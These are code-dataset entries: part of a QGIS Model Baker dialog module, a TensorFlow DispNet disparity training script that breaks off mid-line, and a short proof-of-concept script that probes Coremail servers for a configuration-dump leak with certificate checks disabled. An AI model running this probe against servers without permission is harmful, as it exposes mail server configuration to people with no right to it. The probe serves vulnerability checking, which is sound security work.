QgsCoordinateReferenceSystem(\"{}:{}\".format(srs_auth, srs_code))\n if not crs.isValid():\n crs = QgsCoordinateReferenceSystem(srs_code) # Fallback\n self.crs = crs\n self.fill_toml_file_info_label()\n self.update_crs_info()\n\n for db_id in self.db_simple_factory.get_db_list(False):\n configuration = SchemaImportConfiguration()\n db_factory = self.db_simple_factory.create_factory(db_id)\n config_manager = db_factory.get_db_command_config_manager(configuration)\n config_manager.load_config_from_qsettings()\n self._lst_panel[db_id].set_fields(configuration)\n\n mode = settings.value(\"QgisModelBaker/importtype\")\n mode = DbIliMode[mode] if mode else self.db_simple_factory.default_database\n\n self.type_combo_box.setCurrentIndex(self.type_combo_box.findData(mode))\n self.type_changed()\n self.crs_changed()\n\n def disable(self):\n self.type_combo_box.setEnabled(False)\n for key, value in self._lst_panel.items():\n value.setEnabled(False)\n self.ili_config.setEnabled(False)\n self.buttonBox.setEnabled(False)\n\n def enable(self):\n self.type_combo_box.setEnabled(True)\n for key, value in self._lst_panel.items():\n value.setEnabled(True)\n self.ili_config.setEnabled(True)\n self.buttonBox.setEnabled(True)\n\n def type_changed(self):\n self.txtStdout.clear()\n self.progress_bar.hide()\n\n ili_mode = self.type_combo_box.currentData()\n db_id = ili_mode & ~DbIliMode.ili\n interlis_mode = bool(ili_mode & DbIliMode.ili)\n\n self.ili_config.setVisible(interlis_mode)\n self.db_wrapper_group_box.setTitle(displayDbIliMode[db_id])\n\n self.create_button.setVisible(not interlis_mode)\n self.create_tool_button.setVisible(interlis_mode)\n\n # Refresh panels\n for key, value in self._lst_panel.items():\n value.interlis_mode = interlis_mode\n is_current_panel_selected = db_id == key\n value.setVisible(is_current_panel_selected)\n if is_current_panel_selected:\n value._show_panel()\n\n def on_model_changed(self, text):\n if not text:\n self.update_metaconfig_completer(0)\n return\n for pattern, crs in CRS_PATTERNS.items():\n if re.search(pattern, text):\n self.crs = QgsCoordinateReferenceSystem.fromEpsgId(int(crs))\n self.update_crs_info()\n break\n self.ili2db_options.set_toml_file_key(text)\n self.fill_toml_file_info_label()\n self.ilimetaconfigcache = IliMetaConfigCache(self.base_configuration, text)\n self.ilimetaconfigcache.file_download_succeeded.connect(\n lambda dataset_id, path: self.on_metaconfig_received(path)\n )\n self.ilimetaconfigcache.file_download_failed.connect(self.on_metaconfig_failed)\n self.ilimetaconfigcache.model_refreshed.connect(\n self.update_metaconfig_completer\n )\n self.refresh_ili_metaconfig_cache()\n\n def link_activated(self, link):\n if link.url() == \"#configure\":\n cfg = OptionsDialog(self.base_configuration)\n if cfg.exec_():\n settings = QSettings()\n settings.beginGroup(\"QgisModelBaker/ili2db\")\n self.base_configuration.save(settings)\n else:\n QDesktopServices.openUrl(link)\n\n def update_crs_info(self):\n self.crsSelector.setCrs(self.crs)\n\n def crs_changed(self):\n self.srs_auth = \"EPSG\" # Default\n self.srs_code = 21781 # Default\n srs_auth, srs_code = self.crsSelector.crs().authid().split(\":\")\n if srs_auth == \"USER\":\n self.crs_label.setStyleSheet(\"color: orange\")\n self.crs_label.setToolTip(\n self.tr(\n \"Please select a valid Coordinate Reference System.\\nCRSs from USER are valid for a single computer and therefore, a default EPSG:21781 will be used instead.\"\n )\n )\n else:\n self.crs_label.setStyleSheet(\"\")\n self.crs_label.setToolTip(self.tr(\"Coordinate Reference System\"))\n try:\n self.srs_code = int(srs_code)\n self.srs_auth = srs_auth\n except ValueError:\n # Preserve defaults if srs_code is not an integer\n self.crs_label.setStyleSheet(\"color: orange\")\n self.crs_label.setToolTip(\n self.tr(\n \"The srs code ('{}') should be an integer.\\nA default EPSG:21781 will be used.\".format(\n srs_code\n )\n )\n )\n\n def ili_file_changed(self):\n # If ili file is valid, models is optional\n if (\n self.ili_file_line_edit.text().strip()\n and self.ili_file_line_edit.validator().validate(\n self.ili_file_line_edit.text().strip(), 0\n )[0]\n == QValidator.Acceptable\n ):\n self.ili_models_line_edit.setValidator(None)\n self.ili_models_line_edit.textChanged.emit(self.ili_models_line_edit.text())\n\n # Update completer to add models from given ili file\n self.ilicache = IliCache(None, self.ili_file_line_edit.text().strip())\n self.refresh_ili_models_cache()\n models = self.ilicache.process_ili_file(\n self.ili_file_line_edit.text().strip()\n )\n try:\n self.ili_models_line_edit.setText(models[-1][\"name\"])\n self.ili_models_line_edit.setPlaceholderText(models[-1][\"name\"])\n except IndexError:\n self.ili_models_line_edit.setText(\"\")\n self.ili_models_line_edit.setPlaceholderText(\n self.tr(\"[No models found in ili file]\")\n )\n else:\n nonEmptyValidator = NonEmptyStringValidator()\n self.ili_models_line_edit.setValidator(nonEmptyValidator)\n self.ili_models_line_edit.textChanged.emit(self.ili_models_line_edit.text())\n\n # Update completer to add models from given ili file\n self.ilicache = IliCache(self.base_configuration)\n self.refresh_ili_models_cache()\n self.ili_models_line_edit.setPlaceholderText(\n self.tr(\"[Search model from repository]\")\n )\n\n def refresh_ili_models_cache(self):\n self.ilicache.new_message.connect(self.show_message)\n self.ilicache.refresh()\n self.update_models_completer()\n\n def complete_models_completer(self):\n if not self.ili_models_line_edit.text():\n self.ili_models_line_edit.completer().setCompletionMode(\n QCompleter.UnfilteredPopupCompletion\n )\n self.ili_models_line_edit.completer().complete()\n else:\n match_contains = (\n self.ili_models_line_edit.completer()\n .completionModel()\n .match(\n self.ili_models_line_edit.completer().completionModel().index(0, 0),\n Qt.DisplayRole,\n self.ili_models_line_edit.text(),\n -1,\n Qt.MatchContains,\n )\n )\n if len(match_contains) > 1:\n self.ili_models_line_edit.completer().setCompletionMode(\n QCompleter.PopupCompletion\n )\n self.ili_models_line_edit.completer().complete()\n\n def update_models_completer(self):\n completer = QCompleter(self.ilicache.model, self.ili_models_line_edit)\n completer.setCaseSensitivity(Qt.CaseInsensitive)\n completer.setFilterMode(Qt.MatchContains)\n completer.popup().setItemDelegate(self.model_delegate)\n self.ili_models_line_edit.setCompleter(completer)\n self.multiple_models_dialog.models_line_edit.setCompleter(completer)\n\n def refresh_ili_metaconfig_cache(self):\n self.ilimetaconfigcache.new_message.connect(self.show_message)\n self.ilimetaconfigcache.refresh()\n\n def complete_metaconfig_completer(self):\n if not self.ili_metaconfig_line_edit.text():\n self.clean_metaconfig()\n self.ili_metaconfig_line_edit.completer().setCompletionMode(\n QCompleter.UnfilteredPopupCompletion\n )\n self.ili_metaconfig_line_edit.completer().complete()\n else:\n if \";\" not in self.ili_metaconfig_line_edit.text():\n match_contains = (\n self.ili_metaconfig_line_edit.completer()\n .completionModel()\n .match(\n self.ili_metaconfig_line_edit.completer()\n .completionModel()\n .index(0, 0),\n Qt.DisplayRole,\n self.ili_metaconfig_line_edit.text(),\n -1,\n Qt.MatchContains,\n )\n )\n if len(match_contains) > 1:\n self.ili_metaconfig_line_edit.completer().setCompletionMode(\n QCompleter.PopupCompletion\n )\n self.ili_metaconfig_line_edit.completer().complete()\n\n def update_metaconfig_completer(self, rows):\n self.ili_metaconfig_line_edit.completer().setModel(\n self.ilimetaconfigcache.model\n )\n self.ili_metaconfig_line_edit.setEnabled(bool(rows))\n if self.ili_models_line_edit.text() != self.current_models:\n self.ili_metaconfig_line_edit.clear()\n\n def on_metaconfig_completer_activated(self, text=None):\n matches = self.ilimetaconfigcache.model.match(\n self.ilimetaconfigcache.model.index(0, 0),\n Qt.DisplayRole,\n self.ili_metaconfig_line_edit.text(),\n 1,\n Qt.MatchExactly,\n )\n if matches:\n model_index = matches[0]\n metaconfig_id = self.ilimetaconfigcache.model.data(\n model_index, int(IliMetaConfigItemModel.Roles.ID)\n )\n\n if self.current_metaconfig_id == metaconfig_id:\n return\n self.current_metaconfig_id = metaconfig_id\n self.metaconfig_file_info_label.setText(\n self.tr(\"Current Metaconfig File: {} ({})\").format(\n self.ilimetaconfigcache.model.data(model_index, Qt.DisplayRole),\n metaconfig_id,\n )\n )\n self.metaconfig_file_info_label.setStyleSheet(\"color: #341d5c\")\n repository = self.ilimetaconfigcache.model.data(\n model_index, int(IliMetaConfigItemModel.Roles.ILIREPO)\n )\n url = self.ilimetaconfigcache.model.data(\n model_index, int(IliMetaConfigItemModel.Roles.URL)\n )\n path = self.ilimetaconfigcache.model.data(\n model_index, int(IliMetaConfigItemModel.Roles.RELATIVEFILEPATH)\n )\n dataset_id = self.ilimetaconfigcache.model.data(\n model_index, int(IliMetaConfigItemModel.Roles.ID)\n )\n # disable the create button while downloading\n self.create_tool_button.setEnabled(False)\n if path:\n self.ilimetaconfigcache.download_file(repository, url, path, dataset_id)\n else:\n self.print_info(\n self.tr(\"File not specified for metaconfig with id {}.\").format(\n dataset_id\n ),\n LogColor.COLOR_TOPPING,\n )\n\n self.set_metaconfig_line_edit_state(True)\n else:\n self.set_metaconfig_line_edit_state(\n not self.ili_metaconfig_line_edit.text()\n )\n self.clean_metaconfig()\n\n def clean_metaconfig(self):\n self.current_metaconfig_id = None\n self.metaconfig.clear()\n self.metaconfig_file_info_label.setText(\"\")\n self.txtStdout.clear()\n\n def set_metaconfig_line_edit_state(self, valid):\n self.ili_metaconfig_line_edit.setStyleSheet(\n \"QLineEdit {{ background-color: {} }}\".format(\n \"#ffffff\" if valid else \"#ffd356\"\n )\n )\n\n def on_metaconfig_received(self, path):\n self.txtStdout.clear()\n self.print_info(\n self.tr(\"Metaconfig file successfully downloaded: {}\").format(path),\n LogColor.COLOR_TOPPING,\n )\n # parse metaconfig\n self.metaconfig.clear()\n with open(path) as metaconfig_file:\n self.metaconfig.read_file(metaconfig_file)\n self.load_metaconfig()\n # enable the tool button again\n self.create_tool_button.setEnabled(True)\n self.fill_toml_file_info_label()\n self.print_info(\n self.tr(\"Metaconfig successfully loaded.\"), LogColor.COLOR_TOPPING\n )\n\n def on_metaconfig_failed(self, dataset_id, error_msg):\n self.print_info(\n self.tr(\"Download of metaconfig file failed: {}.\").format(error_msg),\n LogColor.COLOR_TOPPING,\n )\n # enable the tool button again\n self.create_tool_button.setEnabled(True)\n\n def load_crs_from_metaconfig(self, ili2db_metaconfig):\n srs_auth = self.srs_auth\n srs_code = self.srs_code\n if \"defaultSrsAuth\" in ili2db_metaconfig:\n srs_auth = ili2db_metaconfig.get(\"defaultSrsAuth\")\n if \"defaultSrsCode\" in ili2db_metaconfig:\n srs_code = ili2db_metaconfig.get(\"defaultSrsCode\")\n\n crs = QgsCoordinateReferenceSystem(\"{}:{}\".format(srs_auth, srs_code))\n if not crs.isValid():\n crs = QgsCoordinateReferenceSystem(srs_code) # Fallback\n self.crs = crs\n self.update_crs_info()\n self.crs_changed()\n\n def load_metaconfig(self):\n # load ili2db parameters to the GUI and into the configuration\n if \"ch.ehi.ili2db\" in self.metaconfig.sections():\n self.print_info(\n self.tr(\"Load the ili2db configurations from the metaconfig…\"),\n LogColor.COLOR_TOPPING,\n )\n\n ili2db_metaconfig = self.metaconfig[\"ch.ehi.ili2db\"]\n\n if (\n \"defaultSrsAuth\" in ili2db_metaconfig\n or \"defaultSrsCode\" in ili2db_metaconfig\n ):\n self.load_crs_from_metaconfig(ili2db_metaconfig)\n self.print_info(self.tr(\"- Loaded CRS\"), LogColor.COLOR_TOPPING)\n\n if \"models\" in ili2db_metaconfig:\n model_list = self.ili_models_line_edit.text().strip().split(\n \";\"\n ) + ili2db_metaconfig.get(\"models\").strip().split(\";\")\n self.current_models = \";\".join(set(model_list))\n self.ili_models_line_edit.setText(self.current_models)\n self.print_info(self.tr(\"- Loaded models\"), LogColor.COLOR_TOPPING)\n\n self.ili2db_options.load_metaconfig(ili2db_metaconfig)\n self.print_info(self.tr(\"- Loaded ili2db options\"), LogColor.COLOR_TOPPING)\n\n # get iliMetaAttrs (toml)\n if \"iliMetaAttrs\" in ili2db_metaconfig:\n self.print_info(\n self.tr(\"- Seek for iliMetaAttrs (toml) files:\"),\n LogColor.COLOR_TOPPING,\n )\n ili_meta_attrs_list = ili2db_metaconfig.get(\"iliMetaAttrs\").split(\";\")\n ili_meta_attrs_file_path_list = self.get_topping_file_list(\n ili_meta_attrs_list\n )\n self.ili2db_options.load_toml_file_path(\n self.ili_models_line_edit.text(),\n \";\".join(ili_meta_attrs_file_path_list),\n )\n self.print_info(\n self.tr(\"- Loaded iliMetaAttrs (toml) files\"),\n LogColor.COLOR_TOPPING,\n )\n\n # get prescript (sql)\n if \"prescript\" in ili2db_metaconfig:\n self.print_info(\n self.tr(\"- Seek for prescript (sql) files:\"), LogColor.COLOR_TOPPING\n )\n prescript_list = ili2db_metaconfig.get(\"prescript\").split(\";\")\n prescript_file_path_list = self.get_topping_file_list(prescript_list)\n self.ili2db_options.load_pre_script_path(\n \";\".join(prescript_file_path_list)\n )\n self.print_info(\n self.tr(\"- Loaded prescript (sql) files\"), LogColor.COLOR_TOPPING\n )\n\n # get postscript (sql)\n if \"postscript\" in ili2db_metaconfig:\n self.print_info(\n self.tr(\"- Seek for postscript (sql) files:\"),\n LogColor.COLOR_TOPPING,\n )\n postscript_list = ili2db_metaconfig.get(\"postscript\").split(\";\")\n postscript_file_path_list = self.get_topping_file_list(postscript_list)\n self.ili2db_options.load_post_script_path(\n \";\".join(postscript_file_path_list)\n )\n self.print_info(\n self.tr(\"- Loaded postscript (sql) files\"), LogColor.COLOR_TOPPING\n )\n\n def show_message(self, level, message):\n if level == Qgis.Warning:\n self.bar.pushMessage(message, Qgis.Info, 10)\n elif level == Qgis.Critical:\n self.bar.pushMessage(message, Qgis.Warning, 10)\n\n def fill_models_line_edit(self):\n self.ili_models_line_edit.setText(\n self.multiple_models_dialog.get_models_string()\n )\n\n def fill_toml_file_info_label(self):\n text = None\n if self.ili2db_options.toml_file():\n text = self.tr(\"Extra Model Information File: {}\").format(\n (\n \"…\"\n + self.ili2db_options.toml_file()[\n len(self.ili2db_options.toml_file()) - 40 :\n ]\n )\n if len(self.ili2db_options.toml_file()) > 40\n else self.ili2db_options.toml_file()\n )\n self.toml_file_info_label.setText(text)\n self.toml_file_info_label.setToolTip(self.ili2db_options.toml_file())\n\n def help_requested(self):\n os_language = QLocale(QSettings().value(\"locale/userLocale\")).name()[:2]\n if os_language in [\"es\", \"de\"]:\n webbrowser.open(\n \"https://opengisch.github.io/QgisModelBaker/docs/{}/user-guide.html#generate-project\".format(\n os_language\n )\n )\n else:\n webbrowser.open(\n \"https://opengisch.github.io/QgisModelBaker/docs/user-guide.html#generate-project\"\n )\n\n def advance_progress_bar_by_text(self, text):\n if text.strip() == \"Info: compile models…\":\n self.progress_bar.setValue(20)\n elif text.strip() == \"Info: create table structure…\":\n self.progress_bar.setValue(30)\n\n def get_topping_file_list(self, id_list):\n topping_file_model = self.get_topping_file_model(id_list)\n file_path_list = []\n\n for file_id in id_list:\n matches = topping_file_model.match(\n topping_file_model.index(0, 0), Qt.DisplayRole, file_id, 1\n )\n if matches:\n file_path = matches[0].data(int(topping_file_model.Roles.LOCALFILEPATH))\n self.print_info(\n self.tr(\"- - Got file {}\").format(file_path), LogColor.COLOR_TOPPING\n )\n file_path_list.append(file_path)\n return file_path_list\n\n def get_topping_file_model(self, id_list):\n topping_file_cache = IliToppingFileCache(self.base_configuration, id_list)\n\n # we wait for the download or we timeout after 30 seconds and we apply what we have\n loop = QEventLoop()\n topping_file_cache.download_finished.connect(lambda: loop.quit())\n timer = QTimer()\n timer.setSingleShot(True)\n timer.timeout.connect(lambda: loop.quit())\n timer.start(30000)\n\n topping_file_cache.refresh()\n self.print_info(self.tr(\"- - Downloading…\"), LogColor.COLOR_TOPPING)\n\n if len(topping_file_cache.downloaded_files) != len(id_list):\n loop.exec()\n\n if len(topping_file_cache.downloaded_files) == len(id_list):\n self.print_info(\n self.tr(\"- - All topping files successfully downloaded\"),\n LogColor.COLOR_TOPPING,\n )\n else:\n missing_file_ids = id_list\n for downloaded_file_id in topping_file_cache.downloaded_files:\n if downloaded_file_id in missing_file_ids:\n missing_file_ids.remove(downloaded_file_id)\n self.print_info(\n self.tr(\n \"- - Some topping files where not successfully downloaded: {}\"\n ).format(\" \".join(missing_file_ids)),\n LogColor.COLOR_TOPPING,\n )\n\n return topping_file_cache.model\n","sub_path":"QgisModelBaker/gui/generate_project.py","file_name":"generate_project.py","file_ext":"py","file_size_in_byte":54487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"406863194","text":"from urllib import request\nfrom urllib.error import URLError,HTTPError\nimport sys\nimport ssl\n\ndef check(url):\n\tfinal_url = url + \"/mailsms/s?func=ADMIN:appState&dumpConfig=/\"\n\treq = request.Request(final_url)\n\tcontext = ssl._create_unverified_context()\n\ttry:\n\t\tres = request.urlopen(req,context=context)\n\t\t# print(vars(res))\n\t\tr = res.read().decode(\"utf-8\")\n\t\tif(\"coremail\" in r):\n\t\t\tprint (url+\" is vulnerable\")\n\t\t\tprint (\"Now please check \" + final_url)\n\t\telse:\n\t\t\tprint (url+\" is not volunerable\")\n\texcept HTTPError as e:\n\t\tprint(\"Return code is: \" + str(e.code))\n\t\tprint (url+\" is not volunerable\")\n\texcept URLError as e:\n\t\tprint(vars(e))\n\n\nif __name__ == '__main__':\n\ttry:\n\t\tcheck(sys.argv[1])\n\texcept:\n\t\tprint (\"usage:python3 poc.py url\")","sub_path":"poc/coremail_leak.py","file_name":"coremail_leak.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"259732904","text":"# todo list:\n#\n# plot learning rate in tensorboard\n# model save/restore\n\n\nimport tensorflow as tf\nimport numpy as np\nimport imageio\nimport os\nimport shutil\nimport tempfile\nimport scipy.misc\nfrom os import walk\nimport random\n\nimport DispNetUtils\nimport bilinear_sampler\n\nrun_title = \"orig_arch_norm_disp_bn110_mb_1_cons_1.0_smooth_0.1_ssim_0.85_l1_0.15_step_no_inf_lrate_-4_elu11\"\n\n#next\n#run_title = \"single_branch_7_upconv_bn110_mb_1_cons_0.001_smooth_0.001_ssim_0.85_l1_0.15_step_no_inf_lrate_-4_elu11\"\n\n#------------------------------------------------------------------------------\n# Hyperparameters\n#------------------------------------------------------------------------------\n\n#load_model = True\n\nc_minibatch_size = 1\nc_epoch_count = 30000\nc_learning_rate = 0.0001\nc_keep_prob = 0.09\nc_reg_constant = 0.0001\n\nc_ssim_weight = 0.85\nc_l1_weight = 0.15\nc_smoothness_weight = 0.1\nc_consistency_weight = 1.0\n\nc_image_width = 1664 #1600 #960 #640\nc_image_height = 640 #576 #512 #540\n\nc_image_downsize = 1\n\nc_batch_norm_conv = True\nc_batch_norm_deconv = True\nc_batch_norm_pred = False\n\nc_relu = False\nc_relu_out = False\nc_elu = True\nc_elu_out = True\n\nc_pyramid_layers = 4\nc_visualization_images = 10\nc_disparity_gt_available = False\n\n#------------------------------------------------------------------------------\n# Paths\n#------------------------------------------------------------------------------\n\nlog_num = 0\nlog_path = './'\nwhile os.path.isdir(log_path):\n run_title_full = run_title + '_r-' + str(log_num)\n log_path = \"./logs/\" + run_title_full\n log_num += 1\n\nprint(\"Log path: \" + log_path)\nif not os.path.isdir(log_path):\n os.mkdir(log_path)\n\nif not os.path.isdir('./results'):\n os.mkdir('./results')\n\n# create output dirs\nresults_path = './results/' + run_title_full\nif not os.path.isdir(results_path):\n os.mkdir(results_path)\n for pyramid in range(c_visualization_images):\n os.mkdir(results_path + '/disp_prediction_left_' + str(pyramid))\n os.mkdir(results_path + '/disp_prediction_right_' + str(pyramid))\n os.mkdir(results_path + '/lr_estimate_' + str(pyramid))\n os.mkdir(results_path + '/rl_estimate_' + str(pyramid))\n\nelse:\n print(\"Run dir already exists, exiting\")\n quit()\n\n\nimage_data_path = r'/media/memphis_00/memphis_captures/sequences/sequence_2018_10_11_16_09_42/Generated/Rectified'\ndisparity_data_path = r'G:\\data\\flyingthings3d__disparity\\disparity'\n\n#------------------------------------------------------------------------------\n# Data loading\n#------------------------------------------------------------------------------\ntrain_file_list = []\ntest_file_list = []\n\nfor (dirpath, dirnames, filenames) in walk(image_data_path):\n\n for file_name in filenames:\n file_path = dirpath + '/' + file_name\n if 'left' in file_path.lower():\n left_image_path = file_path\n right_image_path = left_image_path.replace('left', 'right')\n\n if c_disparity_gt_available:\n disparity_image_path_left = left_image_path.replace(image_data_path, disparity_data_path)\n disparity_image_path_left = disparity_image_path_left.replace(r'.png', r'.pfm')\n disparity_image_path_right = right_image_path.replace(image_data_path, disparity_data_path)\n disparity_image_path_right = disparity_image_path_right.replace(r'.png', r'.pfm')\n else:\n disparity_image_path_left = \"\"\n disparity_image_path_right = \"\"\n \n #if 'train' in dirpath.lower():\n train_file_list.extend([[left_image_path, right_image_path, disparity_image_path_left, disparity_image_path_right]])\n #elif 'test' in dirpath.lower():\n # test_file_list.extend([[left_image_path, right_image_path, disparity_image_path_left, disparity_image_path_right]])\n\nprint(len(train_file_list))\nprint(len(test_file_list))\n\n# clip for overfitting\n#train_file_list = train_file_list[0:5]\n\n#------------------------------------------------------------------------------\n# Network definition\n#------------------------------------------------------------------------------\nsess = tf.InteractiveSession()\nwith tf.variable_scope('input'):\n # placeholder for two RGB WxH images\n x = tf.placeholder(tf.float32, shape=[None, c_image_height // c_image_downsize, c_image_width // c_image_downsize, 6])\n\n # placeholder for output vector\n if c_disparity_gt_available:\n y_ = tf.placeholder(tf.float32, shape=[None, c_image_height // c_image_downsize, c_image_width // c_image_downsize, 2])\n \n # placeholder for learning rate\n lr_ = tf.placeholder(tf.float32)\n\nh_conv1 = DispNetUtils.conv_layer( 'conv1', [7, 7, 6, 32], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_conv, x)\nh_conv1_b = DispNetUtils.conv_layer( 'conv1_b', [7, 7, 32, 32], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, h_conv1)\nh_conv2 = DispNetUtils.conv_layer( 'conv2', [5, 5, 32, 64], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_conv, h_conv1_b)\nh_conv2_b = DispNetUtils.conv_layer( 'conv2_b', [5, 5, 64, 64], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, h_conv2)\nh_conv3 = DispNetUtils.conv_layer( 'conv3', [3, 3, 64, 128], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_conv, h_conv2_b)\nh_conv3_b = DispNetUtils.conv_layer( 'conv3_b', [3, 3, 128, 128], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, h_conv3)\nh_conv4 = DispNetUtils.conv_layer( 'conv4', [3, 3, 128, 256], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_conv, h_conv3_b)\nh_conv4_b = DispNetUtils.conv_layer( 'conv4_b', [3, 3, 256, 256], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, h_conv4)\nh_conv5 = DispNetUtils.conv_layer( 'conv5', [3, 3, 256, 512], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_conv, h_conv4_b)\nh_conv5_b = DispNetUtils.conv_layer( 'conv5_b', [3, 3, 512, 512], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, h_conv5)\nh_conv6 = DispNetUtils.conv_layer( 'conv6', [3, 3, 512, 512], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_conv, h_conv5_b)\nh_conv6_b = DispNetUtils.conv_layer( 'conv6_b', [3, 3, 512, 512], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, h_conv6)\nh_conv7 = DispNetUtils.conv_layer( 'conv7', [3, 3, 512, 512], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_conv, h_conv6_b)\nh_conv7_b = DispNetUtils.conv_layer( 'conv7_b', [3, 3, 512, 512], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, h_conv7)\n\nh_deconv7 = DispNetUtils.deconv_layer( 'deconv7', [3, 3, 512, 512], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_deconv, h_conv7_b)\nh_iconv7 = DispNetUtils.conv_layer( 'iconv7', [3, 3, 1024, 512], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, tf.concat([h_deconv7, h_conv6_b], axis = 3))\nh_deconv6 = DispNetUtils.deconv_layer( 'deconv6', [3, 3, 512, 512], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_deconv, h_iconv7)\nh_iconv6 = DispNetUtils.conv_layer( 'iconv6', [3, 3, 1024, 512], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, tf.concat([h_deconv6, h_conv5_b], axis = 3))\nh_deconv5 = DispNetUtils.deconv_layer( 'deconv5', [3, 3, 256, 512], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_deconv, h_iconv6)\nh_iconv5 = DispNetUtils.conv_layer( 'iconv5', [3, 3, 512, 256], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, tf.concat([h_deconv5, h_conv4_b], axis = 3))\n\nh_deconv4 = DispNetUtils.deconv_layer( 'deconv4', [3, 3, 128, 256], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_deconv, h_iconv5)\nh_iconv4 = DispNetUtils.conv_layer( 'iconv4', [3, 3, 256, 128], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, tf.concat([h_deconv4, h_conv3_b], axis = 3))\nh_pred4 = DispNetUtils.conv_layer( 'pred4', [3, 3, 128, 2], [1, 1, 1, 1], c_relu_out, c_elu_out, c_batch_norm_pred, h_iconv4)\nh_pred4_up = DispNetUtils.upsample(h_pred4, 2)\n\nh_deconv3 = DispNetUtils.deconv_layer( 'deconv3', [3, 3, 64, 128], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_deconv, h_iconv4)\nh_iconv3 = DispNetUtils.conv_layer( 'iconv3', [3, 3, 130, 64], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, tf.concat([h_deconv3, h_conv2_b, h_pred4_up], axis = 3))\nh_pred3 = DispNetUtils.conv_layer( 'pred3', [3, 3, 64, 2], [1, 1, 1, 1], c_relu_out, c_elu_out, c_batch_norm_pred, h_iconv3)\nh_pred3_up = DispNetUtils.upsample(h_pred3, 2)\n\nh_deconv2 = DispNetUtils.deconv_layer( 'deconv2', [3, 3, 32, 64], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_deconv, h_iconv3)\nh_iconv2 = DispNetUtils.conv_layer( 'iconv2', [3, 3, 66, 32], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, tf.concat([h_deconv2, h_conv1_b, h_pred3_up], axis = 3))\nh_pred2 = DispNetUtils.conv_layer( 'pred2', [3, 3, 32, 2], [1, 1, 1, 1], c_relu_out, c_elu_out, c_batch_norm_pred, h_iconv2)\nh_pred2_up = DispNetUtils.upsample(h_pred2, 2)\n\nh_deconv1 = DispNetUtils.deconv_layer( 'deconv1', [3, 3, 16, 32], [1, 2, 2, 1], c_relu, c_elu, c_batch_norm_deconv, h_iconv2)\nh_iconv1 = DispNetUtils.conv_layer( 'iconv1', [3, 3, 18, 16], [1, 1, 1, 1], c_relu, c_elu, c_batch_norm_conv, tf.concat([h_deconv1, h_pred2_up], axis = 3))\nh_pred1 = DispNetUtils.conv_layer( 'pred1', [3, 3, 16, 2], [1, 1, 1, 1], c_relu_out, c_elu_out, c_batch_norm_pred, h_iconv1)\n\n \nleft_disparity = [tf.expand_dims(h_pred1[:, :, :, 0], 3), tf.expand_dims(h_pred2[:, :, :, 0], 3), tf.expand_dims(h_pred3[:, :, :, 0], 3), tf.expand_dims(h_pred4[:, :, :, 0], 3)]\nright_disparity = [tf.expand_dims(h_pred1[:, :, :, 1], 3), tf.expand_dims(h_pred2[:, :, :, 1], 3), tf.expand_dims(h_pred3[:, :, :, 1], 3), tf.expand_dims(h_pred4[:, :, :, 1], 3)]\n\nif c_disparity_gt_available:\n with tf.variable_scope('disparity_loss'):\n \n y_shape = tf.shape(y_)\n \n # downsample GT disparity\n gt_pyramid = [tf.image.resize_images(y_, [y_shape[1] // (2 ** i), y_shape[2] // (2 ** i)]) for i in range(c_pyramid_layers)]\n \n disparity_loss_left = [tf.sqrt(tf.reduce_mean(tf.square(left_disparity[i][:, :, :, 0] - gt_pyramid[i][:, :, :, 0]))) / (4. ** i) for i in range(c_pyramid_layers)]\n disparity_loss_right = [tf.sqrt(tf.reduce_mean(tf.square(right_disparity[i][:, :, :, 0] - gt_pyramid[i][:, :, :, 1]))) / (4. ** i) for i in range(c_pyramid_layers)]\n\n disparity_loss = tf.add_n(disparity_loss_left) + tf.add_n(disparity_loss_right)\n \nwith tf.variable_scope('image_similarity_loss'):\n\n x_shape = tf.shape(x)\n x_pyramid = [tf.image.resize_images(x, [x_shape[1] // (2 ** i), x_shape[2] // (2 ** i)]) for i in range(c_pyramid_layers)]\n \n # generate left and right images using GT disparity as a sanity check\n if c_disparity_gt_available:\n left_from_right_gt = bilinear_sampler.bilinear_sampler_1d_h(x[:, :, :, 3:6], -y_[:, :, :, 0])\n right_from_left_gt = bilinear_sampler.bilinear_sampler_1d_h(x[:, :, :, 0:3], y_[:, :, :, 1])\n\n # generate left image from right image and left disparity (disparity must be downsampled AND scaled)\n left_from_right_image = [bilinear_sampler.bilinear_sampler_1d_h(x_pyramid[i][:, :, :, 3:6], -left_disparity[i][:, :, :, 0]) for i in range(c_pyramid_layers)]\n right_from_left_image = [bilinear_sampler.bilinear_sampler_1d_h(x_pyramid[i][:, :, :, 0:3], right_disparity[i][:, :, :, 0]) for i in range(c_pyramid_layers)]\n\n # generate left disparity from right and vice versa (sampling disparity must be downsampled AND scaled)\n left_from_right_disparity = [bilinear_sampler.bilinear_sampler_1d_h(right_disparity[i], -left_disparity[i][:, :, :, 0]) for i in range(c_pyramid_layers)]\n right_from_left_disparity = [bilinear_sampler.bilinear_sampler_1d_h(left_disparity[i], right_disparity[i][:, :, :, 0]) for i in range(c_pyramid_layers)]\n \n # 